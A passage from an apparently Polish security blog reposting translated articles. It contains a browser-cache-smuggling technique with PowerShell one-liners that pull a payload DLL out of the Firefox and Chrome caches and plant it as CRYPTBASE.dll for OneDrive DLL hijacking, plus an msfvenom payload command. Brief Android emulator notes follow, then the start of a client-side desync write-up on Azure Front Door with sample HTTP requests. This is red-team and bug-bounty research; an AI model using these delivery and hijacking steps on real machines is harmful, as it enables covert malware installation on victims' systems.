monospace, monospace; font-size: 0.8em;"><span style="background-color: black;"><span style="box-sizing: border-box;">foreach</span>($f <span style="box-sizing: border-box;">in</span> @(<span style="box-sizing: border-box;">"$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\"</span>)){gci $f -r|%{<span style="box-sizing: border-box;">if</span>(Select-String -Pattern <span style="box-sizing: border-box;">"DLLHERE"</span> -Path $_.FullName){cp $_.FullName $env:LOCALAPPDATA\Microsoft\OneDrive\CRYPTBASE.dll}}}
</span></code></pre></div><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Przy następnym uruchomieniu OneDrive Twoje złośliwe oprogramowanie też będzie!</span></p><h1 id="iv-what-about-google-chrome" style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">IV/ A co z Google Chrome</span></h1><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Sposób, w jaki Google Chrome przechowuje pliki w swojej pamięci podręcznej, jest nieco bardziej skomplikowany w wykorzystaniu. </span><span style="box-sizing: border-box; vertical-align: inherit;">Rzeczywiście, pliki nie są przechowywane pojedynczo, są one przechowywane w wielu bazach danych znajdujących się w folderze %LOCALAPPDATA%\Google\Chrome\User Data\Default\Cache\Cache_Data:</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/index.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">W związku z tym pobieranie plików z pamięci podręcznej oznacza manipulowanie bazą danych, co nie jest łatwe, szczególnie w przypadku programu PowerShell. </span><span style="box-sizing: border-box; vertical-align: inherit;">W tym momencie pomyślałem, że nie da się użyć tej techniki dla Chrome, dopóki @shifttymike nie przesłał mi tej wiadomości:</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/shifttymike.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">I to jest genialne! </span><span style="box-sizing: border-box; vertical-align: inherit;">Oto jak połączyłem wszystko w jedną całość. </span><span style="box-sizing: border-box; vertical-align: inherit;">Najpierw tworzymy bibliotekę DLL za pomocą msfvenom:</span></span></p><div class="highlight" style="box-sizing: border-box; font-family: sans-serif;"><pre style="border-left: 0.4em solid rgba(87, 204, 138, 0.8); box-sizing: border-box; overflow: auto; padding-left: 1em; tab-size: 4;"><code class="language-bash" data-lang="bash" style="box-sizing: border-box; font-family: monospace, monospace; font-size: 0.8em;"><span style="background-color: black;">msfvenom -a x86 --platform windows -p windows/exec cmd<span style="box-sizing: border-box;">=</span>calc.exe -f dll > calc.dll
</span></code></pre></div><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Następnie przygotowujemy ciąg znaków, który powie nam, gdzie zaczyna się biblioteka DLL:</span></p><div class="highlight" style="box-sizing: border-box; font-family: sans-serif;"><pre style="border-left: 0.4em solid rgba(87, 204, 138, 0.8); box-sizing: border-box; overflow: auto; padding-left: 1em; tab-size: 4;"><code class="language-bash" data-lang="bash" style="box-sizing: border-box; font-family: monospace, monospace; font-size: 0.8em;"><span style="background-color: black;">sed -i <span style="box-sizing: border-box;">"1s/^/INDLL/"</span> calc.dll
</span></code></pre></div><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">I dołącz ciąg, aby powiedzieć nam, gdzie się kończy:</span></p><div class="highlight" style="box-sizing: border-box; font-family: sans-serif;"><pre style="border-left: 0.4em solid rgba(87, 204, 138, 0.8); box-sizing: border-box; overflow: auto; padding-left: 1em; tab-size: 4;"><code class="language-bash" data-lang="bash" style="box-sizing: border-box; font-family: monospace, monospace; font-size: 0.8em;"><span style="background-color: black;">echo -n <span style="box-sizing: border-box;">"OUTDLL"</span> >> calc.dll
</span></code></pre></div><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">W tym momencie wiemy, że nasza biblioteka DLL znajduje się pomiędzy znacznikami INDLL i OUTDLL w jednej z baz danych pamięci podręcznej przeglądarki Chrome, wystarczy uruchomić kod PowerShell, który będzie w stanie przeanalizować bazy danych przeglądarki Chrome i wyodrębnić z nich bibliotekę DLL. </span><span style="box-sizing: border-box; vertical-align: inherit;">Można to zrobić za pomocą następującego onelinera PowerShell:</span></span></p><div class="highlight" style="box-sizing: border-box; font-family: sans-serif;"><pre style="border-left: 0.4em solid rgba(87, 204, 138, 0.8); box-sizing: border-box; overflow: auto; padding-left: 1em; tab-size: 4;"><code class="language-PowerShell" data-lang="PowerShell" style="box-sizing: border-box; font-family: monospace, monospace; font-size: 0.8em;"><span style="background-color: black;">$d=<span style="box-sizing: border-box;">"$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cache\Cache_Data\"</span>;gci $d|%{<span style="box-sizing: border-box;">if</span>(<span style="box-sizing: border-box;">[regex]</span>::Matches(<span style="box-sizing: border-box;">[System.Text.Encoding]</span>::<span style="box-sizing: border-box;">Default</span>.GetString(<span style="box-sizing: border-box;">[System.IO.File]</span>::ReadAllBytes($_.FullName)),<span style="box-sizing: border-box;">"(?<=INDLL)(.*?)(?=OUTDLL)"</span>,<span style="box-sizing: border-box;">[System.Text.RegularExpressions.RegexOptions]</span>::Singleline).Count-ne0){<span style="box-sizing: border-box;">[System.IO.File]</span>::WriteAllBytes(<span style="box-sizing: border-box;">"$d\hello.dll"</span>,<span style="box-sizing: border-box;">[System.Text.Encoding]</span>::<span style="box-sizing: border-box;">Default</span>.GetBytes($matches[0].Value))}}
</span></code></pre></div><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">I faktycznie, nasza biblioteka DLL zostaje znaleziona i wyodrębniona:</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/hello.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Następnie możemy użyć rundll32, aby to wykonać:</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/exec.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Lub przenieś bibliotekę DLL do określonego folderu, jak pokazano wcześniej.</span></p><h1 id="iv-conclusion" style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">IV/ Zakończenie</span></h1><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">O ile wiem, nie widziałem jeszcze opisanej metody dostarczania złośliwego oprogramowania. </span><span style="box-sizing: border-box; vertical-align: inherit;">Dla mnie jest to całkiem fajna sztuczka, ponieważ pozwala operatorowi czerwonego zespołu wymusić pobranie złośliwego oprogramowania poprzez samo wysłanie adresu URL do celu. </span><span style="box-sizing: border-box; vertical-align: inherit;">Nie ma potrzeby nakłaniania celu do pobrania złośliwego pliku (co może być podejrzane). Jedyne, o co musisz zadbać, to nakłonić użytkownika do uruchomienia ładnie wyglądającej aplikacji Power Shell one-liner. </span><span style="box-sizing: border-box; vertical-align: inherit;">Moim zdaniem o wiele bardziej dyskretny ;)!</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Ostatnia czerwona wskazówka dla zespołu: jeśli kiedykolwiek znajdziesz komputer lub serwer, na którym zainstalowana jest przeglądarka, możesz zajrzeć do folderu pamięci podręcznej i przeczytać buforowane pliki. </span><span style="box-sizing: border-box; vertical-align: inherit;">Dzięki metadanym będziesz mógł zebrać nazwy hostów DNS, które pozwolą Ci odkryć potencjalne cele w sieci wewnętrznej (hej, vSphere :D)!</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Miłego hackowania!</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><br /></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Wpis pochodzi z https://blog.whiteflag.io/blog/browser-cache-smuggling/ </span></p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-47760896612656350392023-10-20T08:28:00.003+02:002023-10-20T08:28:50.263+02:00MobSF on MacOS<p> https://github.com/MobSF/docs/blob/master/dynamic_analyzer.md</p><p>❯ ./emulator -avd Pixel_API_28 -writable-system -no-snapshot</p><p><br /></p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-68104525170509153622023-10-09T10:20:00.001+02:002023-10-09T10:20:14.063+02:00Emulator android MacOS<p> W celu uruchomienia emulatora androida z poziomu terminala:</p><p><br /></p><p>❯ ./emulator -avd Pixel_3a_API_32_arm64-v8a</p><p>❯ pwd</p><p>/Users/michal/Library/Android/sdk/emulator</p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-73816557583354380922023-08-11T11:44:00.005+02:002023-08-11T11:45:52.046+02:00Atak desynchronizujący po stronie klienta [CSD]<div>Pukanie do drzwi wejściowych (atak desynchronizujący po stronie klienta na Azure CDN)Kilka miesięcy temu rozpocząłem polowanie na błędy bezpieczeństwa w ramach prywatnego programu dostępnego za pośrednictwem platformy Intigriti. Podczas tego przedsięwzięcia napotkałem intrygującą anomalię podczas analizy przekierowania ruchu HTTP na HTTPS na określonym hoście.</div><span><a name='more'></a></span><div><br /></div><div><br /></div><div class="content" style="background-color: #1f222a; box-sizing: inherit; display: flex; flex-direction: column;"><article class="post" style="box-sizing: inherit; margin: 20px auto; padding: 20px 0px; width: 783px;"><div class="post-content" style="box-sizing: inherit; margin-top: 30px;"><div style="box-sizing: inherit;"><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="letter-spacing: -0.32px;">W tym artykule zagłębię się w krótką podróż, która rozpoczęła się po wykryciu tego dziwnego zachowania i ostatecznie doprowadziła do wykrycia luki w zabezpieczeniach desynchronizacji po stronie klienta w jednym z rozwiązań CDN Microsoft Azure, znanym jako Front Door.</span></p><h2 id="discovery" style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 1.4rem; font-variant-ligatures: contextual; letter-spacing: -0.32px; line-height: 1.3; margin-top: 40px;"><span style="box-sizing: inherit; vertical-align: inherit;">Odkrycie </span><a arialabel="Anchor" class="hanchor" href="https://blog.jeti.pw/posts/knocking-on-the-front-door/#discovery" style="box-sizing: inherit; color: rgba(120, 226, 160, 0.9); margin-left: 10px; text-decoration-line: none; visibility: hidden;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;"></span></span></a></h2><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Wszystko zaczęło się, gdy wysłałem następującą prośbę do </span><a href="http://redacted.com/" style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">http://redacted.com</span></a><span style="box-sizing: inherit; vertical-align: inherit;"> :</span></p><div class="highlight" style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px;"><div class="code-toolbar" style="border: 1px solid rgba(255, 255, 255, 0.1); box-sizing: inherit; margin: 40px 0px; padding: 20px; position: relative;"><pre class="language-http" style="background: rgb(39, 40, 34); border: none; box-sizing: inherit; color: #f8f8f2; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-size: 1em; hyphens: none; line-height: 1.5; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 0px; tab-size: 4; word-break: normal; word-spacing: normal;" tabindex="0"><code class="language-http" data-lang="http" style="background: none; border: none; box-sizing: inherit; color: inherit; display: block; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 1em; hyphens: none; line-height: 1.5; margin: 0px; overflow-wrap: normal; padding: 0px; tab-size: 4; word-break: normal; word-spacing: normal;"><span class="token request-line" style="box-sizing: inherit;"><span class="token method property" color="rgb(153, 154, 153) !important" style="box-sizing: inherit;">POST</span> <span class="token request-target url" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">/</span> <span class="token http-version property" color="rgb(153, 154, 153) !important" style="box-sizing: inherit;">HTTP/1.1</span></span>
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Host:</span> redacted.com<span style="box-sizing: inherit;"></span>
[...]<span style="box-sizing: inherit;"></span>
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Content-Length:</span> 34<span style="box-sizing: inherit;"></span>
<span style="box-sizing: inherit;"></span>
<span class="token request-line" style="box-sizing: inherit;"><span class="token method property" color="rgb(153, 154, 153) !important" style="box-sizing: inherit;">GET</span> <span class="token request-target url" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">/</span> <span class="token http-version property" color="rgb(153, 154, 153) !important" style="box-sizing: inherit;">HTTP/1.1</span></span>
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Host:</span> redacted.com
</code></pre><div class="toolbar" style="box-sizing: inherit; opacity: 0; position: absolute; right: 0.2em; top: 0.3em; transition: opacity 0.3s ease-in-out 0s;"><div class="toolbar-item" style="box-sizing: inherit; display: inline-block;"><button class="copy-to-clipboard-button" data-copy-state="copy" style="align-items: center; appearance: none; background: rgba(224, 224, 224, 0.2); border-color: initial; border-radius: 0.5em; border-style: initial; border-width: 0px; box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 0px 0px; box-sizing: inherit; color: #bbbbbb; cursor: pointer; display: flex; font-family: inherit; font-feature-settings: inherit; font-kerning: inherit; font-optical-sizing: inherit; font-size: 0.8em; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-variation-settings: inherit; font-weight: inherit; justify-content: center; margin: 6px; outline: none; overflow: visible; padding: 0px 0.5em; position: relative; user-select: none;" type="button"><span style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Kopiuj</span></span></button></div></div></div></div><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Skąd taka dziwna prośba? </span><span style="box-sizing: inherit; vertical-align: inherit;">Po prostu bawiłem się w Burp po przeczytaniu fantastycznych badań </span><span style="box-sizing: inherit; vertical-align: inherit;">Jamesa </span><a href="https://twitter.com/albinowax" style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">@Albinowaxa Kettle'a na temat </span></a></span><a href="https://portswigger.net/research/browser-powered-desync-attacks" style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">ataków desynchronizujących za pomocą przeglądarki</span></a><span style="box-sizing: inherit; vertical-align: inherit;"> .</span><a href="https://twitter.com/albinowax" style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;"></span></a><span style="box-sizing: inherit; vertical-align: inherit;"></span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">A serwer odpowiedział:</span></p><div class="highlight" style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px;"><div class="code-toolbar" style="border: 1px solid rgba(255, 255, 255, 0.1); box-sizing: inherit; margin: 40px 0px; padding: 20px; position: relative;"><pre class="language-http" style="background: rgb(39, 40, 34); border: none; box-sizing: inherit; color: #f8f8f2; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-size: 1em; hyphens: none; line-height: 1.5; margin-bottom: 0px; margin-top: 0px; overflow-wrap: normal; overflow: auto; padding: 0px; tab-size: 4; word-break: normal; word-spacing: normal;" tabindex="0"><code class="language-http" data-lang="http" style="background: none; border: none; box-sizing: inherit; color: inherit; display: block; font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 1em; hyphens: none; line-height: 1.5; margin: 0px; overflow-wrap: normal; padding: 0px; tab-size: 4; word-break: normal; word-spacing: normal;"><span class="token response-status" style="box-sizing: inherit;"><span class="token http-version property" color="rgb(153, 154, 153) !important" style="box-sizing: inherit;">HTTP/1.1</span> <span class="token status-code number" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">307</span> <span class="token reason-phrase string" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Temporary Redirect</span></span>
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Content-Type:</span> text/html
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Content-Length:</span> 0
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Connection:</span> keep-alive
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Location:</span> https://redacted.com/
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">x-azure-ref:</span> 20230522T201945Z-...
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">X-Cache:</span> CONFIG_NOCACHE<span class="token text-html" style="box-sizing: inherit;">
</span><span class="token response-status" style="box-sizing: inherit;"><span class="token http-version property" color="rgb(153, 154, 153) !important" style="box-sizing: inherit;">HTTP/1.1</span> <span class="token status-code number" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">307</span> <span class="token reason-phrase string" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Temporary Redirect</span></span>
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Content-Type:</span> text/html
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Content-Length:</span> 0
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Connection:</span> keep-alive
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">Location:</span> https://redacted.com/
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">x-azure-ref:</span> 20230522T201945Z-...
<span class="token header-name keyword" color="rgb(120, 226, 160) !important" style="box-sizing: inherit;">X-Cache:</span> CONFIG_NOCACHE
</code></pre><div class="toolbar" style="box-sizing: inherit; opacity: 0; position: absolute; right: 0.2em; top: 0.3em; transition: opacity 0.3s ease-in-out 0s;"><div class="toolbar-item" style="box-sizing: inherit; display: inline-block;"><button class="copy-to-clipboard-button" data-copy-state="copy" style="align-items: center; appearance: none; background: rgba(224, 224, 224, 0.2); border-color: initial; border-radius: 0.5em; border-style: initial; border-width: 0px; box-shadow: rgba(0, 0, 0, 0.2) 0px 2px 0px 0px; box-sizing: inherit; color: #bbbbbb; cursor: pointer; display: flex; font-family: inherit; font-feature-settings: inherit; font-kerning: inherit; font-optical-sizing: inherit; font-size: 0.8em; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-variation-settings: inherit; font-weight: inherit; justify-content: center; margin: 6px; outline: none; overflow: visible; padding: 0px 0.5em; position: relative; user-select: none;" type="button"><span style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Kopiuj</span></span></button></div></div></div></div><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Na pierwszy rzut oka wydaje się, że nie ma w tym nic niezwykłego. </span><span style="box-sizing: inherit; vertical-align: inherit;">Serwer otrzymał dwa żądania w tym samym połączeniu (podtrzymującym aktywność) i dwukrotnie odpowiedział przekierowaniem 307 z adresu </span></span><code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">http://</code><span style="box-sizing: inherit; vertical-align: inherit;">na </span><code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">https://</code><span style="box-sizing: inherit; vertical-align: inherit;">.</span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Ale… Czekaj… W rzeczywistości właśnie wysłałem jedno żądanie POST z treścią! </span><span style="box-sizing: inherit; vertical-align: inherit;">Rozmiar ciała został określony przez </span></span><code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">Content-Length</code><span style="box-sizing: inherit; vertical-align: inherit;">nagłówek.</span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Otrzymałem jednak dwie odpowiedzi. </span><span style="box-sizing: inherit; vertical-align: inherit;">Oznacza to, że serwer szczęśliwie zignorował nagłówek </span></span><code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">Content-Length</code><span style="box-sizing: inherit; vertical-align: inherit;">i zinterpretował moje żądanie jako dwa oddzielne żądania.</span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Wygląda to na idealnego kandydata do ataku Client-Side Desync opisanego we wspomnianych badaniach.</span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Cytuję @Albinowax:</span></p><blockquote style="border-bottom: 1px solid rgb(120, 226, 160); border-top: 1px solid rgb(120, 226, 160); box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin: 40px 0px; padding: 25px;"><p style="box-sizing: inherit; margin-bottom: 0px; margin-top: 0px; position: relative;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Klasyczne ataki polegające na desynchronizacji lub przemycie żądań polegają na celowo zniekształconych żądaniach, których zwykłe przeglądarki po prostu nie wysyłają. </span><span style="box-sizing: inherit; vertical-align: inherit;">Ogranicza to te ataki do stron internetowych, które wykorzystują architekturę front-end/back-end. </span><span style="box-sizing: inherit; vertical-align: inherit;">Jednak, jak dowiedzieliśmy się z analizy ataków CL.0, możliwe jest spowodowanie desynchronizacji przy użyciu w pełni zgodnych z przeglądarką żądań HTTP/1.1. </span><span style="box-sizing: inherit; vertical-align: inherit;">Nie tylko otwiera to nowe możliwości przemytu żądań po stronie serwera, ale także umożliwia zupełnie nową klasę zagrożeń – ataki desynchronizujące po stronie klienta.</span></span></p></blockquote><blockquote style="border-bottom: 1px solid rgb(120, 226, 160); border-top: 1px solid rgb(120, 226, 160); box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin: 40px 0px; padding: 25px;"><p style="box-sizing: inherit; margin-bottom: 0px; margin-top: 0px; position: relative;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Desynchronizacja po stronie klienta (CSD) to atak, który powoduje, że przeglądarka internetowa ofiary desynchronizuje własne połączenie z podatną na ataki witryną internetową. </span><span style="box-sizing: inherit; vertical-align: inherit;">Można to porównać do zwykłych ataków przemycania żądań, które desynchronizują połączenie między serwerem front-end i back-end.</span></span></p></blockquote><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Po przeprowadzeniu bardziej dogłębnej analizy odkryłem, że ten problem nie jest specyficzny dla rozwiązania klienta, ale raczej ogólny błąd w usłudze używanej przez klienta o nazwie </span><a href="https://azure.microsoft.com/en-us/products/frontdoor/" style="box-sizing: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;">Azure Front Door</span></a><span style="box-sizing: inherit; vertical-align: inherit;"> .</span></p><h2 id="front-door" style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 1.4rem; font-variant-ligatures: contextual; letter-spacing: -0.32px; line-height: 1.3; margin-top: 40px;"><span style="box-sizing: inherit; vertical-align: inherit;">Drzwi wejściowe </span><a arialabel="Anchor" class="hanchor" href="https://blog.jeti.pw/posts/knocking-on-the-front-door/#front-door" style="box-sizing: inherit; color: rgba(120, 226, 160, 0.9); margin-left: 10px; text-decoration-line: none; visibility: hidden;"><span style="box-sizing: inherit; vertical-align: inherit;"><span style="box-sizing: inherit; vertical-align: inherit;"></span></span></a></h2><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Usługa Azure Front Door to globalna, skalowalna sieć dostarczania treści (CDN) i inteligentna platforma dostarczania aplikacji, która zapewnia bezpieczne i wydajne kierowanie ruchu internetowego do usług zaplecza.</span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Przyjrzyjmy się niektórym konfigurowalnym opcjom.</span></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Jedną z jego funkcji (domyślnie włączoną) jest przekierowanie całego ruchu HTTP na HTTPS.</span><img alt="Frontdoor przekierowuje HTTP na HTTPS" src="https://blog.jeti.pw/frontdoor-http-to-https.png" style="box-sizing: inherit; display: block; max-width: 100%;" /></p><p style="box-sizing: inherit; color: white; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-size: 16px; font-variant-ligatures: contextual; letter-spacing: -0.32px; margin-bottom: 20px;"><span style="box-sizing: inherit; vertical-align: inherit;">Technicznie odbywa się to poprzez przekierowanie przeglądarki na </span><code style="background: rgba(120, 226, 160, 0.2); box-sizing: inherit; color: #78e2a0; font-family: "Fira Code", Monaco, Consolas, "Ubuntu Mono", monospace; font-feature-settings: normal; font-size: 0.95rem; margin: 0px 2px; padding: 1px 6px;">https://</code><span style="box-sizing: inherit; vertical-align: inherit;">adres za pomocą kodu 